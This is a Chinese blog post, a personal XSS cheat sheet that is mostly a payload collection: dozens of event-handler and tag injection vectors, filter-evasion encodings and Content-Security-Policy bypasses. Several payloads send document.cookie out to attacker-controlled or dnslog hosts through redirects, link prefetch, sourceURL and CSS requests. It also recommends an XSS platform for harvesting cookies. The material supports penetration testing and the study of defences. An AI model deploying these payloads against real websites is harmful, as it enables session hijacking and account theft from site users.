MYBLOG

知识库——XSS

2021-02-15 09:24:20ans

推荐使用的XSS平台:https://xs.sb

读取COOKIE+默认模块keepsession

基础:

弹窗或回显的查看:

  1. alert()
  2. prompt()
  3. confirm()
  4. console.log()
  5. document.write()

基本的触发回显:

  1. (1)事件触发:
  2. onxxx=func()
  3. (2)链接跳转:
  4. location=javascript:func()
  5. (3)代码执行:
  6. eval(字符串拼接func)
  7. (4)CSS属性嵌套JS
  8. css语句

当理解了基本的触发回显,即怎样触发弹窗函数之后,就可以构造应对各种情况的payload了。

payload构造其实很简单,前提是在理解上述触发回显的方式,比如链接跳转,其实并不需要什么花里胡哨的东西,只需要简单的一个<a>标签:

  1. <a href=javascript:alert(0)>asd</a>

各种标签的测试语句:

  1. <script>alert(0)</script>
  2. <img src=x onerror=alert(0)>
  3. <input name="user" value="" onclick=alert(0)>
  4. <input onfocus=alert("xss") autofocus>
  5. <details ontoggle=alert(0)>
  6. <select onfocus=alert(0)></select>
  7. <iframe onload=alert("xss");></iframe>
  8. <video><source onerror=alert(0)>
  9. <audio src=x onerror=alert(0)>
  10. <body onload=alert(0)>
  11. <body onscroll=alert(0)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>//自动翻滚导致弹窗
  12. <textarea onfocus=alert("xss"); autofocus>//自动聚焦导致弹窗
  13. <keygen autofocus onfocus=alert(1)> //仅限火狐
  14. <marquee onstart=alert("xss")></marquee> //Chrome不行
  15. <isindex type=image src=1 onerror=alert(0)> //火狐和IE
  16. <a href=javascript:alert(xss)>xss</a>
  17. <form action="Javascript:alert(1)"><input type=submit>
  18. <form><button formaction=javascript:alert(0)>X</button></form>
  19. <form action=javascript:alert(0)><button type=submit>X</button></form>
  20. <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
  21. <applet code="javascript:confirm(document.cookie);"> //需要安装applet插件
  22. <isindex action=javascript:alert(32) type=image>

CSS(复现未成功):

  1. <style type="text/css">
  2. body{
  3. color:#000; background-image:url(javascript:alert(0));
  4. }
  5. </style>

绕过:

利用eval:

eval的作用是可以将字符串当做代码执行,而字符串的变化就太多了,可以拼接,可以用base64加密,可以用各种各样的编码去绕过。

定义变量拼接字符串:

  1. <img src="x" onerror="a=`aler`;b=`t`;c='(0)';eval(a%2bb%2bc)">

Unicode编码:

  1. <img src="x" onerror=eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')>

URL decode:

  1. <img src=x onerror=eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))>

Hex编码:

  1. <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

location类:

(1)location.search代表URL中?之后#之前(包括?)的语句,location.hash代表URL中#之后(包括#)的,且可以用[0][1]表示第一个字符、第二个字符:
例如在URL中输入
?(0)#alert

则POST参数的xss payload可以这样凑:

  1. <img src=x onerror='a=location.search[1]+location.search[2]+location.search[3];b=location.hash[1]+location.hash[2]+location.hash[3]+location.hash[4]+location.hash[5];location="javascript:"+b+a'/>

(2)构造函数:

  1. <body/onload=Function(location.hash.slice(1))()>#alert(/xss/)

(3)location.hash(是URL中#之后的部分):

  1. <script>location.href=location.hash.substr(1)</script>#javascript:alert(0) //href可以省略
  2. <svg onload=location=location.hash.substr(1)></svg>#javascript:alert(0)

(4)不知道为啥可以的payload:

  1. <svg/onload=location='javascript:/*'%2blocation.hash> #*/alert(1)
  2. <svg/onload=location="javascript:"%2binnerHTML%2blocation.hash>" #"-alert(1)

(5)location语句后面的内容可以用字符串拼接,灵活度非常大,可用于on事件的value:

  1. <IMG SRC=x onerror=location='java'+'script:alert(0)'>

其他:

不需要on事件的payload:

  1. <a href=javascript:alert(xss)>xss</a>
  2. <form action="Javascript:alert(1)"><input type=submit>
  3. <form><button formaction=javascript:alert(0)>X</button></form>
  4. <form action=javascript:alert(0)><button type=submit>X</button></form>
  5. <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
  6. <applet code="javascript:confirm(document.cookie);"> //需要有applet插件
  7. <isindex action=javascript:alert(32) type=image>

javascript进制编码:

  1. <IMG SRC=x onerror=javascript:alert(String.fromCharCode(88,83,83))>

实体编码绕过(要URL编码):

  1. <form action="javascrip&#x74;:alert(/xss/)"><button type=submit>X</button></form>

生成新的标签:

  1. <img src=x onerror=s=createElement('script');body.appendChild(s);s.onload=alert(0)>

空格替换:

  1. %09 %0c %0d %0a /xxx/ /

标签名可以随意取:

  1. <fuck onclick=alert(0)>fuck</fuck>

用字典方式调用alert(引号不能缺,可用反引号):

  1. <svg/onload=window['al'%2b'ert'](0)>
  2. <svg/onload=top['al'%2b'ert'](0)>
  3. 用base64加密:
  4. <svg/onload=window[atob('YWxlcnQ=')](0)>

JSFUCK编码(只适用于POST):

  1. <script>jsfuck编码的一大段</script>

八进制:

  1. <img src=x onerror=alert('\170\163\163')>

括号被过滤:

  1. (1)on事件内利用Throw抛出onerror指定的异常:
  2. <svg/onload="window.onerror=alert;throw 0">
  3. (2)反引号代替:
  4. <svg/onload=alert`0`>

URL编码:

  1. 跳转到百度:
  2. <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
  3. 注:http可以省略,//和\\在linux均表示http访问,windows下\\表示本地的路径

data协议base64:

  1. <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
  2. <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">

利用this属性:

  1. <input name="javascript:alert" onmouseover='location=this.name+"(0)"'/>

构造函数:

  1. <svg/onload="a(this);function a()(alert(0))"/>

<pre><code>标签内部也可以构造XSS:

  1. <pre><aaa onclick=alert(0)>asd</aaa></pre>
  2. <code><aaa onclick=alert(0)>asd</aaa></code>

利用其他标签整合成payload(此处还有好多)

CSP绕过:

URL跳转:

(CSP本地的测试在火狐上有问题,建议在Chrome上测试)

在default-src ‘none’的情况下,不需要unsafe-inline的设置便可以使用meta标签实现跳转:

  1. <meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

在script-src允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过:

  1. <script>
  2. window.location="http://www.xss.com/x.php?c=[cookie]";
  3. </script>

<a>也可:

  1. <a href=//xxx.xxx.dnslog.cn>xss</a>

不想让页面跳转的话,可以通过加载文件的形式:

如果style-src没做限制的话,还可以用css加载图像的方式(chrome复现失败,因为chrome会把这个当成image-src,故还需要image-src为unsafe-inline才可):

  1. <body style=background:url(http://[cookie].hc2fgl.dnslog.cn)>

如果script-src设置了self,依然可以用如下方式绕过(chrome复现失败,firefox成功):

  1. <script>//@ sourceURL=https://xxx.com/?${escape(document.cookie)}</script>

网上看到把sourceURL改成sourceMappingURL也可以,后者是加载map源文件的语句,不知道什么环境下能行

CSP对link标签的预加载功能考虑不完善。没有语句是针对<link>标签的,因此script-src和style-src等设为self依然可用。例如如下标签会预先访问dnslog的页面:

(注:新版Chrome对<link>标签有了限制,目前测试的rel只有”dns-prefetch”和”pre-connect”可用了)

  1. <link rel="dns-prefetch" href="http://aaa.xxx.dnslog.cn">

然而,<link>标签是没法获取cookie的,但如果script-src为unsafe-inline的话,则可以在<script>标签里创建<link>标签且把cookie加入进去:

  1. <script>
  2. const i=document.createElement('link');
  3. i.setAttribute('rel','dns-prefetch');
  4. i.setAttribute('href','http://'+document.cookie+'xxx.dnslog.cn');
  5. document.head.appendChild(i);
  6. </script>

iframe:

1.当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,可以说A页面的CSP防护完全失效

  1. <iframe src="B"></iframe>

2.在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如”http://xxx“页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库(复现失败):

  1. <iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

jsonp:

jsonp本身就是要跨域的,而大多数jsonp完全可控,现在扫描器也都能扫描出jsonp的callback参数的xss了

未设置default-src的情况:

未设置则查看有哪些源没有设置,例如:

  1. default-src 'self';script-src 'self'; img-src 'self';

则object-src等都没有设置,可用<object> <applet> <embed>(恶意pdf)绕过

SVG绕过:

svg标签内部可以嵌入<script>标签执行JS代码,如果有能上传SVG图片的输入点,便可通过传SVG图片造成XSS(需要script-src ‘unsafe-inline’)

https://blog.szfszf.top/article/32/

https://xz.aliyun.com/t/5084

结合文件上传:

如果可以将js文件上传到服务器,只要符合js语法,那可以用script标签加载js文件。但服务器很可能会过滤掉js后缀,所以需要找到可用的后缀类型,script在加载标签的时候会先检查MIME类型,如果发现为非可执行文件则不会执行JS。

因此mp3、图片一类的后缀经测试都无法执行。

其实任意不存在的后缀或者直接无后缀都是可以导入的,但需要内容符合JS语法

  1. <script src="upload/xxx"></script>

但若服务器有内容检查,文件头必须符合文件类型。许多文件头基本都是乱码,但wave文件头是’RIFF’开头的,因此可以满足JS语法的要求。

  1. RIFFeffbWAVEfmt =1;alert(0);

wave恰好满足可执行的MIME。

CRLF绕过:

这个很容易理解,如果HTTP头可控,加一个\r\n换行把CSP搞到返回内容中或者新写一个CSP覆盖掉。

缓存:

meta标签在header没有设置的情况下可以控制缓存,有时可用来绕过nonce

  1. <meta http-equiv="cache-control" content="public">

绕过Nonce:

nonce是在设置unsafe-inline不够安全的一种补偿方式,例如设置了script-src ‘nonce-xxx’后,要想执行JS,script标签中的nonce属性必须与csp中的一致。通常nonce是随机值,由服务器自己产生自己对应。

1.CSP设置了strict-dynamic

结合查阅的Black Hat 2017的文章可知,我们可以在页面上找一个可以动态生成DOM节点的JS Gadget,然后通过某些方式来劫持其中的DOM节点元素,从而使动态生成的标签可以继承该Gadget的nonce直接执行JS代码。

文章链接如下:

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

可以参考的文章:

https://xz.aliyun.com/t/4165#toc-11

2.特定情况利用浏览器补全

例如脚本插入点在含nonce的script标签之前:

  1. <p>插入点</p>
  2. <script type="text/javascript" nonce="abc">document.write('CSP');</script>

可以插入:

  1. <script src=//1.cibp7f.dnslog.cn a="

凑成:

  1. <p><script src=//1.cibp7f.dnslog.cn a=" </p>
  2. <script type="text/javascript" nonce="abc">document.write('CSP');</script>

第二行开头到type那里的双引号和第一行最后的对应起来了,

3.输入点在location.hash

location.hash的内容是不经过后台的,也就是说服务器接收不到location.hash

例如发送如下URL:xxx.com#abc

服务器接收到的是xxx.com,#abc服务器接收不到

这意味着location.hash一旦成为注入点,不经过后台,nonce值是不会刷新的,故可以得到当前nonce从而执行JS

值得注意的是location.hash的内容是URL编码过的,需要用JS的decode函数转换一下

4.用CSS选择器获取nonce值(复现失败)

CSS提供了选择器,当选择器对应到元素时,可以加载一个域外请求(需要style-src为unsafe-inline)

如果页面有标签asd,其属性m值为“aaa“,则可以用下面的语句选择出这个标签并进行一次请求:

  1. <style>asd[m^="aaa"]{background:url("http://aaa.8inqdj.dnslog.cn")}</style>

^=表示从开头匹配,[]前面的asd可以改成*,表示匹配所有元素

同样,nonce的值也可以这样按位匹配出来

但是需要特定条件:

1.style-src和img-src都是unsafe-inline

2.可以多次发送请求且获取的数据不会变(nonce几乎不可能遇到)

而复现时压根就不会发请求……

5.利用DOM XSS

如果有DOM操作可以插入HTML并且可以控制插入的HTML内容,则可绕过CSP

因为DOM操作的nonce值是服务器指定的,必定和CSP一致

6.base-url覆盖

当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用<base>标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径:

  1. <?php
  2. header("default-src 'self'; script-src 'nonce-test'");
  3. ?>
  4. <base href="//xxx.com">
  5. <script nonce='test' src="/fuck.js"></script>

需要注意的是插入<base>的地方要在script标签以前,否则不会更改base之前的默认地址

参考:

https://xz.aliyun.com/t/4067

https://blog.csdn.net/u014345860/article/details/77352889?utm_source=blogxgwz5

https://www.jianshu.com/p/f1de775bc43e

https://www.dazhuanlan.com/2020/03/17/5e70313b6e0f1/

https://www.anquanke.com/post/id/151496

https://xz.aliyun.com/t/4470

https://xz.aliyun.com/t/5084

全部留言 0